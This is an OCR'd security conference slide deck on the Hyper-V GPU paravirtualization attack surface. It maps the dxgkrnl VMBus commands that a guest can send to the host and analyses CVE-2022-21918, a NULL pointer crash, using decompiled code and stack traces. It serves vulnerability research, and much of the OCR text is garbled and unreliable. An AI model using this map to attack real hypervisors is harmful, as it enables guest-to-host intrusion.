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Intro

» In 2020, Hyper-V introduced a new feature of GPU-
Paravirtualization.

» This technology is integrated into WDDM (Windows Display Driver

Model) and all WDDMv2.5 or later drivers have native support for
GPU virtualization.

> New features mean new attack surfaces.

Information Classification: General
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WDDM Architecture

Application ‘
. . Lser-mode ) Win32®
Direct3D runtime <—>| display driver ‘ OpenGL runtime ‘ ‘ GO
'y t A
Kemel-mode access OpenGL installable
[gdiad2.dil) client driver (ICD)
Lser Modea
Kemel Mode Y +

Y
Directx graphics kemel subsystem {Dxgkrnl.sys), which incudes WinazK s
display port driver, video memory manager, and GPU scheduler =

;

Display miniport driver

https://docs.microsoft.com/en-us/windows-hardware/drivers/display/images/dx10arch.png
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Hyper-V DirectX Com-ponent Architecture

Linux VM

Application

/dev/dxg

Windows Host

Application
Runtime omponent UserMode Driver User Mode

v

DirectX LKM
(dxgkrnl.ko)

VMBUS I
(hv_vmbus.ko)

vmcall

| VMBUS
Component

Kernel Mode
DirectX graphics
WY
(dxgmmsl.sys &
dxgmms2.sys)

GPU driver

DirectX graphics kernel

subsystem
(dxgkrnl.sys)

vmcall

Hypervisor

Information Classification: General
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WDDM Data Flow

Linux VM Application @ Windows Host
Application _
/dev/dxe UserMode Driver User Mode

Kernel Mode

v

DirectX LKM
(dxgkrnl.ko)

subsystem
(dxgkrnl.sys)

VMBUS I VMBUS
(hv_vmbus.ko) Component

vmcall vmcall

Hypervisor (Ring -1)
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Hyper-V DirectX Com-ponent Data Flow

Linux VM

Application
/dev/dxg

Application Windows Host
Runtime omponent UserMode Driver User Mode

DirectX LKM
(dxgkrnl.ko)

VMBUS

(hv_vmbus.ko)

vmcall

Kernel Mode
DirectX graphics kernel DirectX graphics
subsystem MMS
(dxgkrnl.sys) (dxgmmsl.sys &

dxgmms2.sys)

VMBUS |
Component GPU driver

vmcall

Hypervisor (Ring -1)
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How to config

» Add a Virtual GPU to the virtual machine (ubuntu).

PS C:4> Add-VMGpuPartitionddapter
F5 Cihvr Get-VNGpuPartitionfAdapter

MinFartitionVEAN

NaxPartitionVEAN

OptimalPartitionVEAN

MinFartltionfncode

NaxFartltionfncode

OptimalPartitlonfncode

MHinFartltionDecode

NaxFPartitionDecode

OptimalPartitlonlecode

NinFartltionCompute

NaxFPartltionCompute :

OptimalPartitionCompute

Mame . GPU o FEAEE

Id : Microsoft:DFFO4EZ6-F110-4CA3-B2AR-6A4D362F B0DF Y 906 ARAFC-E3E3-47B4-3C92-ADBEE4B0E 1T
VId » dff0del6-f110-4dcadi-blak-baddE62fR0d4f
VM ame : ubuntu

VM =napshotId D 00000000-0000-0000-0000-000000000000
VsnapshotName :

C1msession : Cimsession: .

Computerlame : DESETOP-7ULEF 42

IsDeleted : False

VMCheckpointId D 00000000-0000-0000-0000-000000000000
VN heckpointName :

Information Classification: General
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In Virtual Machine (Linux VM)

root@hh:~# uname -a

Linux hh|4.15.0|#1 SMP Sun Jun 6 22:20:09 CST 2021 x86_64 xB6_64 xB6_64 GNU/LIinux
root@hh: ~#

root@hh: ~# dmeaﬁ IgrEp hw_wvmbus

[ 0.752256] hv_wvmbus: loading out-of-tree module taints kernel.

[ 0.756432] hv_wvmbus: vmbus version:4.0

[ 0.769476] hv_wvmbus: registering driver hyperv_keyboard

[ 0.775240] hv_vmbus: registering driver hid_hyperv

[ 0.779785] hv_wvmbus: reg15ter1ng driver hv_netwvsc

[ 0.781043] hv_wvmbus: istering driver hv_storwvsc

[ 0.781289] hv_wvmbus: Ennwn GUID:/ 6e382d18-3336-4f4b-accd4-2b7703d4df4a

[ 0.784089] hv_wvmbus: unknown GUIDY [dde9cbc0-5060-4436-9448-e31254a5d177

[ 1.408208] hv_wvmbus: registeri driver hyperv_Tb

[ 1.421338] hv_wvmbus: registerjifg driver hv_pci

[ 1.467581] hv_wvmbus: registering driver hv_balloon

[ B.066598] hv_wvmbus: reqgisgering driver dxgkrnl

root@hh:#

GPU paravirtualization per virtual GPU DXGK channel GPU paravirtualization global DXGK channel

Information Classification: General
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DirectX Virtual Device ---- Linux(VM) Driver Support

» Only supported in WSL2-Linux-Kernel source code tree.

)

- Easy to compile
- Easy to customization

» Linux driver(dxgkrnl.ko) exposes the " /dev/dxg " device to user mode Linux.
- Exposes a set of IOCTLs.


https://github.com/microsoft/WSL2-Linux-Kernel/tree/linux-msft-wsl-5.10.y/drivers/hv/dxgkrnl
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DirectX Component initialize in Linux VM

GPU paravirtualization global DXGK channel initialize

dxgglobal_init_global channel

dxgvmbuschannel init

dxgadapter_set vmbus

GPU paravirtualization per virtual GPU DXGK channe
initialize

Information Classification: General

int dxgvmbuschannel init(struct dxgvmbuschannel *ch, struct hv_device *hdev)

1

int ret;

ch->hdev = hdev;
spin_lock init(&ch->packet_list mutex);
INIT LIST HEAD(&ch-»packet list head);
atomicb4d set(&ch-»packet _request_id, @);
ch-»packet_cache = kmem cache create("DXGK packet cache”,
(struct dxgvmbuspacket), @,
@, NULL);
(ch-»packet_cache == NULL) {

pr_err{"packet_cache alloc failed");
ret = -ENOMEM;

cleanup;

¥
ret = UNBUS_DpEdithV—PChHﬂﬂEl, RING BUFSIZE,
NULL, ©, dxgwvmbuschannel receive, ch);
(ret) { B
pr_err(“lvmbus_open| failed: %d", ret);
cleanup;
}

RING_BUFSIZE,

ch->channel = hdev->channel;

cleanup:
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Data Send&Recv in Linux VM
> Send

- axgvmp_send_sync_MsSg ——Send dxgkrnl commands to Host.
- axgvm O_Seno_async_msg—SUCh dsS. DXGK_VMBCOMMAND_XXXXX

> Recelve

Receive messages and commands

- dxgvmbuschannel receive——
from Host.

Information Classification: General
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Send dxgkrnl Command to Host

» There are many commands to use...

dxgkvmb commandtype
DXGE_VMBCOMMAND CREATEDEVICE
DXGE_VMBCOMMAND DESTROYDEVIC
DXGE_VMBCOMMAND QUERYADAPTERINFO
.j:: :1'_“""[*} C:i:T:T.El:::l: vioe 7 | O = r IZX:EK VMEBCOMMAND I]: IQUERYADAPTERINFO

i B = ) DXGE_VMBCOMMAND CREATEALLOCATION

DXGK_VMBCOMMAND ""—I"I_I' '::'_I'-C'SI'_ DXGK_VMBCOMMAND DESTROYALLOCATION
DXEGE_VMBCOMMAND CREATEPROC DXGE_VMBCOMMAND CREATECONTEXTVIRTUAL
]:Z}{GE. VMBCZOMMAND I ESTROYPROCESS ]::}(:31{ VMBC OMMAND [ ESTROY CONTEXT
DXGE_VMBCOMMAND OPENSYNCOBJEC DXGK_VMBCOMMAND CREATESYNCOBJEC
DXGE_VMBCCMMAND DESTROYSYNCOBJECT DXGE_VMBCOMMAND CREATEPAGINGQUEUE
DXGE_VMBCOMMAND CREATENTSHAREDOBJECT DXGE_VMBCOMMAND _DESTROYFAGINGQUEUE
DXGE_VMBCOMMAND DESTROYNTSHAREDOBJECT DXAGE_VMECOMMAND MAKFRESIDENT

s - i DXGE_VMBCOMMAND EVICT
[.3{=th VMEBCOMMOANT 3 IGNATLFENC DXGE_VMBCOMMAND ESCAPE
]:::"{:E:F-\. VMBCOMMAND ‘IC'I' ITFYPROCESSFEEEZE ]::K:'__;E_ VMECOMMEND c PENLADLETER
]:Z}{GF,. VMBCZOMMAND ‘IC TIFYPROCESSTHLW DXGF_VMBCOMMAND CLOSEADAPTER
D¥GE VMBCOMMAND CQUERYETWSESSION DXGE_VMBCOMMAND FREEGPUVIRTUALADDRESS
ODxGE E_-.,.—IUIEQ.:;-Iuﬂ»m_*q[:_:*.EI- TOSPACEREGION DXGK_VMBCOMMAND MAPGPUVIRTUALADDRESS
DHE Fq.__"'—.['-'IE'_'C"I'-'ﬂ'-'Ig_‘q]:' WMELETETRANSLACTTON DXGR _VMBCOMMAND RESERVEGPUVIRTUATADDRESS
DXGE_VMBCOMMAND SHARECBJECTWITHHOST DXGE_VMBCOMMAND UPDATEGPUVIRTUALADDRESS

DXGF_VMBCOMMAND INVALID VM TO HOST DXGE_VMBCOMMAND SUBMITCOMMAND
_ — = dxgk vmbcommand queryvideomemoryinfo

DXGR _VMBCOMMAND WATT _'C BRSYNCOBJECTFROMCET
DXGR _VMBCOMMAND T.OCE= r

DXGR _VMBCOMMAND UNLOCE:Z r
DXGR_VMBCOMMAND 'JTJ—.I TFORSYNCOBJECTFROMGET
DXGR _VMBCOMMAND SIGNALSYNCOBJECT

DXGE FME OMMAND STGNAT _'E"I ENTSHRREDBYREF

3 2 3 3

Information Classification: General



O

black hat

= ==

Send dxgkrnl Command to Host

» There are many commands to use...

» Command message format (header + message buffer)

offset name Size

0x00 | command id 0x08 0

0x08 process 0x04 process handle or 0

0x10 | command type | 0x04 DXGK_VMBCOMMAND _XXXXXX
Ox14 reserved 0x04 Align

0x18 buffer variable Command message buffer

-header
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Send dxgkrnl Command to Host

> Example

dxgvmb_send lock2( dxgprocess *process,
dxgvmbuschannel *channel,
d3dkmt_lock2 *args,
d3dkmt lock2 * user outargs)

ret = 8;
dxgkvmb command lock? command = { };
dxgkvmb_command lock2 return result = { ]}
dxgallocation *alloc = ;

command vgpu to host init2({&command.hdr,
DXGK_VMBCOMMAND LOCK2, process->host _handle);
command.args = *args;

ret = dxgvmb send sync _msg{channel, &command, command ) ,

&result, result));
if (ret
goto cleanup;
if (! result.status
ret = result.status;
goto cleanup;

dxgkvmb_command lock2 {
dxgkvmb_command vgpu to host hdr;
d3dkmt lock2 args;
use legacy lock;
ftlags;
priv_drv _data;

command vgpu to host init2(
dxgkvmb command vgpu to host
*command,
dxgkvmb_commandtype type,
process handle)

command->command_type = type;

command- >process = process handle;
command->command_id = 8;

command->channel type = DXGKVME VGPU TO HOST;

Information Classification: General
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VMBus (Root Partition)
DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelProcessPacket

DXG_HOST GLOBAL VMBUS::VmBusChannelProcessPacket

VmBusProcessPacket

DXG_HOST GLOBAL VMBUS::VmBusCommandTableVmToHost

DXG_HOST_VIRTUALGPU VMBUS::VmBusCommandTableVgpuToHost

DXG_HOST GLOBAL VMBUS::VmBuUSXXX

D7\ T TO9T OULCE9UDM\C vivibDuoJ. . VIIII_JUOI\I\X

DXG_HOST VIRTUALGPU VMBUS::VmBUSXXX

D7\ T TOJT VIINTUMNMLCOT U VIVIiDUO. .VIIII_JUOI\I\X

Information Classification: General
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Retrieve Data from Guest
» Function dxgkrnl! CastToVmBusCommand<xxxx>

» Example

inted  fastcall Ea51:Tc‘-.-“n'3JE.Ecn'|1'a~ld-:[33-iGH‘-.-"".B_E:T'.".-;'-.HD CREATEDEVICE>(_ _int64 al)

if ( w36
{ if ( *(_DWOR :H: | + 8x98) ->= 8x28u ) [l (v37 = *E_i’utai i_FaE;Eall ':':::-i:}_i’utéiuih __inted4,  inted, |
~ v38 = *(unsigned int *)(v35 + 44),
return "‘( EL “Ial + Bx88 ) v39 = *(unsigned int *)(v35 + 48),
LngPacketLengthErmr(( truct DXGADAPTER VMBUS PACKET *)al, 40i64); ::;Dl“f”“?;“d 1:t24§f 5+ 36),
} return Bibd, { (v36 = v37(va8, v38, v39, v35, va7, vas)) 1= @) )

memset((void *)vi6, 8, BxABuisd);
IﬂterluckedIncrement{&g VgpulumborkItemQueued) ;

*(_QWORD =)(v36 + Bx78) = vd9;
*(_QWORD *)(v36 + BxB80) = v58;
— *{_DnC%D “Y(v36 + Bx94) = a5;
*{_QuE%D “J(vic + Bx48) = vi;
*( DWORD *)(v36 + Bx98) = v5 guestdatalen;
\m“{ QUORD *)(v36 + BxBB) = v21 guestdxgmsgdatabuf;
qwnrd 1C51251ﬁ8{ ﬁ},

DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelProcessPacket (_BYTE (436 + o) =

*(_QWORD =)(v36 + Bx58) = i R

*(_QWORD *=)(v36 + 8x18) = v3iG;

*{_QL “Y(vit + 8x18) = VmBusProcessPacket;

*(_QWO ”}w: = Bi6d;

ExQueueHDPkItem{{31 ORK_QUEUE_ITEM)v36, (WORK QUEUE_TYPE)47);

Information Classification: General }
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Send Data to Guest
» dxgkrnl'VmBusCompletePacket(al, databuffer, buflength)

unsigned  int8 _ fastcall DXG _HOST _GLOBAL VMBUS: :VmBusVsyncControl(struct DXGADAPTER_VMBUS PACKET *al)
1
__inted w1; J/ o
__inted U3 ff "sp+208h | -18h
struct DKGADﬁPTER UHBUS PﬂCHET ””vd ff p+28h] [rbp-16h]
struct DKG,&D,&PTER_UMBUS PACKET *v5; // | -_':z:--j [rbp+8h]
int ve; // [ ’3 rbp+18©
__int6d v7 ,.’,.’ 50h] _--:.-:.—15--: _
v6 is a NTSTATUS Value
vh = —J_ . .
V1 = CastToVmBusCommand<DXGKVMB_COMMAND_ VSYNCREMOTINGCTRL>(); The size of NTSTATUS is 4
vl = vl;
if ( vl)
{
4 = &v5;
vb = lambda_ 8aBc27a599@5b2448F507218alf2fcd3 :: nperatnr(}(& )3
UmEusCDmpletEPacket{ ((struct VMBPACKETCOMPLETION  **)v5 + 16), &6, 4u);
LOBYTE(v1) =
¥

return vl;

Information Classification: General
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Attack Surface ¥

Linux VM

Application
/dev/dxg

Application Windows Host
Runtime omponent UserMode Driver User Mode

DirectX LKM
(dxgkrnl.ko)

VMBUS

(hv_vmbus.ko)

vmcall

Kernel Mode
DirectX graphics kernel DirectX graphics
subsystem MMS
(dxgkrnl.sys) (dxgmmsl.sys &

dxgmms2.sys)

VMBUS |
Component GPU driver

vmcall

Hypervisor (Ring -1)

Information Classification: General
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Attack Surface

» dxgkrnl.sys dxgmmsl.sys dxgmms2.sys

» 66 DXG HOST VIRTUALGPU VMBUS commands

» 21 DXG HOST GLOBAL VMBUS commands

dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU VMBUS

dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST VIRTUALGPU_ WMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS
dxgkrnl!DXG_HOST VIRTUALGPU_ WMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_ VMBUS
dxgkrnl!DXG_HOST_VIRTUALGPU_VMBUS

Information Classification: General

VmBusCreateDevice
VmBusDestroyDevice
VmBusQueryAdapterInfo
VmBusDdiQueryAdapterInfo
VmBusCreateAllocation
VmBusDestroyAllocation
VmBusCreateContextVirtual
VmBusDestroyContext
VmBusCreateSyncObject
VmBusCreatePagingQueue
VmBusDestroyPagingQueue
VmBusMakeResident
VmBusEwvict

VmBusEscape
VmBusOpenAdapter
VmBusCloseAdapter
VmBusFreeGpuVirtualAddress
VmBusMapGpuVirtualAddress
VmBusReserveGpuVirtualAddress
VmBusUpdateGpuVirtualAddress
VmBusSubmitCommand

Avglrnl |DXG HOST VTETUAL GELL VMELIS - - VmBucusprvl i denMeamoryw Tofo

dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS
dxgkrnl!DXG_HOST GLOBAL_VMBUS

VmBusCreateProcess
VmBusDestroyProcess
VmBusOpenSyncObject
VmBusDestroySyncObject
VmBusCreateNtSharedObject
VmBusDestroyNtSharedObject
VmBus5ignalFence
VmBusNotifyProcesskreeze
VmBushNotityProcessThaw
VmBusQueryEtwSession
VmBusSetIoSpaceRegion
VmBusCompleteTransaction
VmBusOpenKeyedMutex
VmBusDestroyKeyedMutex
VmBusAcquireKeyedMutexSync
VmBusReleaseKeyedMutexSync
VmBusVsyncControl
VmBusOpmRequest

VmBusDummy

VmBusDummy

VmBusDummy
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Case Studies

CVE-2022-21918

NULL Pointer Reference:DXGK_VMBCOMMAND_ SIGNALSYNCOBJECT

READ ADDEESS:
FROCESS_NAME

TRAP FRAME:
HOTE: The trap frame
Some regizter walues
rax=fff{{83881d2cfEed0
rd=z=0000000000000003
rip=fffff8060daf3z52
ro=fff{838381d2cfadl
rll=0000000000000000
rld4=0000000000000000
nv up

1iopl=0

VYIWWD . . EES

goooooooooooaonn

fE££83881d2cf3b0 — [ trap O=ffff8388142cf3b0)

dEgmns | VidSchiSignalSvncObjectsFromCpu+0xSa:
fffff806  0def3252 498bZc24
Fesetting default =cope

STACK_TEXT:

fff£83a48

fff£0388°
f£££8388°
fff£0388°
fff£8388°
fff£0388°
ffffaz88”
ff££0388°
tff£Q388°
ff££0388°
ftff£0388°
f£££8388°
fff£0388°
fff£8388°
tff£8388°

1d2ce=abi
ldZce=ac
1dZceb20
1dz2=£f230
1dz2cf 270
1d2c=f 3k0
1dZ2cf540
1d2=£f5=0
1d2=fad0
1dz2=£f 790
1d2=£950
1dZc=faln
1dz2=fa?70
1dZcfbln
1d2=fbi0

fEfE£80E6°
ftfff£a06°
fff££806°
ftfff£a06°
fff££8086°
ftfff£a06°
fffffR0E"
tff££806°
tffffa0e’
tff££806°
ftffffa0e’
fff££806°
ftfff£a06°
fff££806°
oooooooo”

mow

Ne3lzblz
Ne3120£f6
Nelf?72b7
Ne209169
0e205469
0def3252
Odef&7ff
Nl=d3z23ls
lcocefbid
lcoelldbc
lcoebled
0a0bE515
06155855
lelf=808
gooooooon

doss not contain all registers.
may be zeroed or incorrect.
rbx=0000000000000000
r=i=0000000000000000
rep=fff£83881d2c£540
r9=0000000000000000
rlz=0000000000000000
rl15=0000000000000000
21 pl zr na po nc

rbp. gword ptr

f£££2388°
gooooono-”
googoono”
gooooono-”
googoooo”
oogooono-”
ff££2388°
fff£8388°
fiffcali’”
fEffel0af”
fiffeldf”
ffff=081"
fiffeldf”
ff£££306°
fff£8388°

1ldZcec20
ooooooos
gooooooo
ooooooo0a
gooooooo
gooooooo
1d2=£f5£0
1dz2=£f820
g42abe?0
2bf16970
gooooooo
gooooooo
2bfe?040
00dsni1&n
ldz2d0000

rex=ff£{83881d2=£5£0
rdi=0000000000000000
rbp=f£f£{83881d2=£630
r10=0000000000000000
rl3=0000000000000000

[r12] d=:

ffff£806°
ff££8388°
gooooono”
gooooono-”
gooooooo”
gooooono-”
gooooooo”
gooooono-”
ffffcali’”
ffffzali’
gooooono”
fiff=081"
gooooono-”
fiff=08E"
ff££8388°

gooooono-”

0174200
1dZcecii
agoooooon
goooooon
gooooooon
goooooon
gooooooon
gooooooz
g42acdal
g4z2acdal
goooooon
2bfe?040
gooooosn
2bfe?040
1dz2=9000

gooooooo”
ffEE££806°
gooooooo”
gpooooono-”
gooooooo”
gpooooono”
ff££2388°
ffffzali’
ffffcali’
ffffelf”
ffffeldf”
fffffa0e"
ffffelf”
ffff£a06"
npooooono-”

goooooon
0620=0=0
goooooon
gooooooz
goooooon
goooooon
1ldz2cfedn
adofos1n
adofosin
2bf16970
2bf16970
Ococedfln
ldaac040
0e155800
goooooon

gooooooo”
gooooonon”
gooooooo”
gooooonon”
gooooooo”
gooooonon”
ffE££806°
gooooonon”
gooooonon®
ffffelif”
fEE££806°
fiff=08f"
gooooonon”
gooooooo”
gooooonon”

aoooooaon
gooooodl
aoooooaon
gooooooon
Qooooooon
gooooooon
lcaaZ9fh
goooooo3
gooooooon
Ic5E£7830
lcoedf0n
1da9f 4a0
gooooooon
QooooZde
gooooooon

nt | DbgBreakPointWithStatus

nt |KiBugCheclDebugBreal:+0x1 2

nt |KeBugChecl2+0x946

nt | KeBugCheckEx+0x107

nt |KiBugCheckDispatch+0=x69

nt l|KiPageFault+0x469

dEgmns: | V1idSchiSignalSyncObjectsFromCpu+0xba
dzgnnss | VidSchSignalSyncObjectsFromCpu+i=xat
deglkrnl |SignalSynchronizationObjectFromCpu+lx40c
dEglrnl | DEG_HOST VIRTTALGFU_VHMEUS: : VmBusSignalSvyncObject+0x588
deglkrnl | VmBusEzecuteCommand InProces=Context+0x198
deglkrnl | ¥mBusProces=sPacket+0=2bd

nt |ExpWorkerThread+0x105

nt | PepSvystenThreadStartup+0=55
ntlKiStartSy=stemThread+0x23

Information Classification: General
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> Root cause : dxgmms2!VidSchiSignalSyncObjectsFromCpu a5(5th
parameter) reference a NULL Pointer.

2 kdr k

Child-5F FetAddr Call Site

fff£f8388 1dZceabl ff£f£f0806° 06312012 nt !|DbgBrealkPointWithStatus

tff£f8388 1dZceac fEf£££0806° 063120f6 nt |KiBugCheclkDebugBrealk+0=x12

tff£83088 1dZ2cebd20 fE£££0806° 061f720Y nt |EKeBugCheckZ?+0x946

tff£8388 1d2=£230 ff£££0806° 06209169 nt |EeBugCheckEx+0x107

ffffE3R8 1d2cf270 fEf£ffR0A 06205469 nt | KiBugCheckDispatch+0=69

ttf£f8388 1dZct3b0 ff£££806 0def32572 nt|KiFPageFault+0x469

ffffR3808 1d2ctbd0 f££££806° 0d6E57Ef degmn=d | Vid5chiSignalSyncObjectsFromCpu+l=tha
ffff8388 1d2ctfbel £fE££££806° 0=d32318 dEgmn=sd | Vid5SchSignalSyncObjectsFromCpu+0xat
tfff83808 1dZctfedld f££££806° Oocefbild deEglrnl |SignalSynchronizationlbjectFromCpu+l=zdlc
tff£8388° 1d2cE790 ff£££f0806° Ooccellbc drglrnl |DEG_HOST WIRTUALGEU _VHMEBUS: : VmBusSignalSyncObject+0x538
tfff83808° 1d2cf950 fff££806° Ooceblcd dxglkrnl | VmBusEzecuteCommand InProcessContext+0x198
tfffaa838 1dZctfalil f££££306° 060bA51S dxglkrnl | VmBusFProcessFPacket+0x2bd

tftf£f8388 1dZ2cta?0 £f£££0806° 061558585 nt |ExzpWorkerThread+0x105

ff££R8388° 1d2ctbll ffff£f806° 061feld08 nt!PspSyv=tenThreadStartup+0xhS

ttf£8388 1dZ2ctbel 00000000 Q0000000 nt!KEiStartSystemThread+0=Z3

(]

ERERRERE]
(0 ] o ot | o [ YO PP [ |y (o R = 3

(]

=
m

7 =15 I
0 IR 1T
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blacl __inteéd _ fastcall VidSchiSignalSyncObjectsFromCpu( int64 al,  inté4 a2,  inté4d *a3, char ad, char *a5,  inté64 ab)
USA {

unsigned int vb;

__inted vi,

__inted *v8;

int v9;

unsigned int v10;

__inted vll;

unsigned  inted ﬂ#ll_puinten_reﬁj

__intéed vl3;

unsigned  int6d wvld;

unsigned  int6d wvl5;

__inted v34;
___int64d *v35;

v35 = a3;
v3i4d = al;
vh = 0;
v7? = (unsigned int)a2;
vd = a3;
vl = ad & 4;

( ad & 4 )

LABEL 24,

vl® = &;

{( (_DWORD)a2 )
{
vll = (char *}a3 - a5;
v12_pointer_ref] = (unsigned __ int64 *)a5;
{ i = (char *)a3 - a5; ; v11 =i )

{

v13 = *(unsigned __ int64 *)((char *)\12_pointer_ref] + v11);
( *(_BYTE *)(v13 + @x1C) )
LABEL 18;

ALY 1?7 pointer ref|
LOBYTE(al) = *(_BYTE *)(v13 + @x1D);

Information Classificat
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- R

blaCckl T 567 fastcall VidschsignalSyncObjectsFromCpu(  int6d al,  inted a2,  int6d a3,  inted ad)
u=. -

Information Classification: G4l

1
__int64d v4;
char ﬂEﬂ;
___intb4d *wvb;
unsigned int wv/;
__intbed va,;
unsigned int v9;
__intbed v10;
__inted *v12;
___inted **y13;
char vl4;
___int64 vl15;
__intlé vlb;

vd = (unsigned int)a3;
vS = (char *)a4;
vb (__inted *)a2;
v/ = al;
( (a3 & 4) == (_DWORD)a3 )
{

v1@ = *( QWORD *)(*( QWORD *)a2 + 8i64);

vl = @;

vl5 = v18 + Ox6B6;

AcquireSpinLock: :Acguire((AcquireSpinlLock *)&v15);

vl3i = &vl2;
vild = @8;
vl2 = ( inted *)&v12;

v9 = VidSchiSignalSyncObjectsFromCpu({ int64)&v12, v7, vb, vi, ﬂ, 8ied);
HwQueueStaginglist: :~Hw(ueueStaginglist( (HwQueueStaginglist *)&vll);
AcquireSpinlLock: :Release((AcquireSpinlLock *)8&v15);




1  inté4  fastcall SignalSynchronizationObjectFromCpu( VN o )

2 struct _D3DKMT_SIGN ag ( 'vi3
3 struct DXGPROCESS ¥ 5o || (vi4 = PagedPoolZeroedArray< VIDSCH SYNC_OBJECT *,4>::AllocateElements(&P, (unsigned int)5->object_count)) == @ )
b” 4 struct DXGDEVICE *3 5q { —
. 52 v32 = -1873741801;
1 £y 1073741801 ;
B .aa.-. Omit some code...... 53 LABEL 53;
7 vbd = z2- 54 } B
55 vi5 = @;
f_ ( 'w5->object_count )
57 {
04 object count I
i = = 59 DXGPOINTERARRAYORDEREDACQUIRE«<DXGSYNCOBIECT,&void AcquireSyncObjectMutex(DXGSYNCOBIECT *),&void ReleaseSyncObjectMutex(DXGSYNCOBIECT *),
198 pobjects 0 &v6l
22 L]
10 pfence valueg : 61 vl3);
18 flags 62 ( ve2 )
C  D3DKMT STIGNALS o= i Cr
4 v
. 65 {
. 66 v32 = 0x(Coeevel7;
" 67  LABEL_51:
‘:1 . b3 DXGPOINTERARRAYORDEREDACQUIRE <DXGSYNCOBIECT,&void AcquireSyncObjectMutex(DXGSYNCOBIECT *),&void ReleaseSyncObjectMutex(DXGSYNCOBIECT
22 . B 69 LABEL_53;
- 70 }
24 C--
- DKGET?PEGFILER—EﬂB“"PUSP 71 v36 = WdlogNewEntryS WdError(v3l, v38);
- ( LI 72 *(_QWORD *)(v36 + 0x18) = 0x1413i64;
27 vO = WdLoghewEntry5 WdA _: }
28 *(_QWORD *)(v9 + 24) =| (
29 WdLogEvent5S WdAssertior _‘ ( *((_BYTE *)v3 + 0x74D) & 1 )
30 } - - .
: 5 >ob] |7 {
. { ( y3->obJect_count <= 78\ i aaea.. Omit some code......
- 79 }
33 vl® = WdlLogNewEntry5_ Wq _ . , — . X
3 «(_QWORD *)(v1@ + 24) - : vg; - Ele.msigned int )w5->object_count;
35 WdLogEvent5_WdAssertior] . v (_'E,DW{]RDJV_’:? )
36 + . T
37 * ORD *)v3 + 2) O~ {
i ( (1 V3 + 2N o) LABEL 43:
3 vl = WdlogNewEntryS Wd EZ va4d = (*(__int64 (___fastcall **)(_ int64d, _ int64, QWORD,  int64))(*(_QWORD *}{*-.{_QH[!RD *3(*((_QWORD *)v3 + 2) + 616i64)
40 *(_QWORD *)(v11 + 24) o °° Y T
41 WdLogEvent5 WdAssertior] =7 * =
2} I P
LE: vl2 = (unsigned int)u5->q - Viil
A4 v58 = 0i64; - VS, —
45 v6D = - ’ 91 (unsigned int)y5->flags,
16 P = E!iﬁ:‘l- 92 w5->pfence_values);
A7 v57 = B 93 vA8 = w4,
F, i — . r
a Hik3) v13 = PagedPoolZeroedArrsg - . (vad < @)




__int64 _ fastcall SignalSynchronizationObjectFromCpu(

struct _D3DKMT_SIGNALSYNCHRONIZATIONOBIECTFROMCPU *al, 1 8
struct DXGPROCESS *a2,

b” struct DXGDEVICE *a3)

...... Omit some code......

ved = al; a8 D3DKMT_SIGNALSYNCHRONIZATIONOBIECTFROMCPU
vi2 = -1; o .
v3 a3; 2 : up
v - a2 00 th:UlLE dd ?
v53 = 0i6d; 04 object count dd ?
v5 = al; @8 pobjects dq ?
( qword_1COOAEIBO & 2 ) 10 pfence values dq ? :
R 18 flags dd ? ; X
V52==2;4i3 1C  D3DKMT SIGMALSYNCHRONIZATIONOBIECTFROMCPU
( Microsoft Windows DxgKrnlEnableBits & @x2808 )
McTemplateK@q EtwWriteTransfer(al, &EventProfilerEnter);
¥
i
v5d = @;
¥
DXGETWPROFILER BASE: :PushProfilerEntry{&v52, 2644i64);
( w3 )
i

v9 = WdlogNewEntry5 WdAssertion(v/, vb, v8);
*(_QWORD *)(v9 + 24) = 5050i64;
WdlLogEvent5 WdAssertion(v9);

¥

1
v1@ = WdlogNewEntry5 WdAssertion(v7, vb, v8);

*(_QWORD *)(v1@ + 24) = 5051i64;
WdlLogEvent5 WdAssertion(vl@);

¥

i
vll = WdlogNewEntry5 WdAssertion(v7, vb, v8);

*(_QWORD *)(v1l + 24) = 5052i64;
WdLogEvent5 WdAssertion(vll);

( Eﬂ—)object_;ount <= Bu )

( !'*((_QWORD *)v3 + 2) )

¥

vl2 = (unsigned int)Eﬁ—}nbject_cuunt;
v58 = 0i6d; B

vbld = &;

P = @i64;

vh7 = 4;

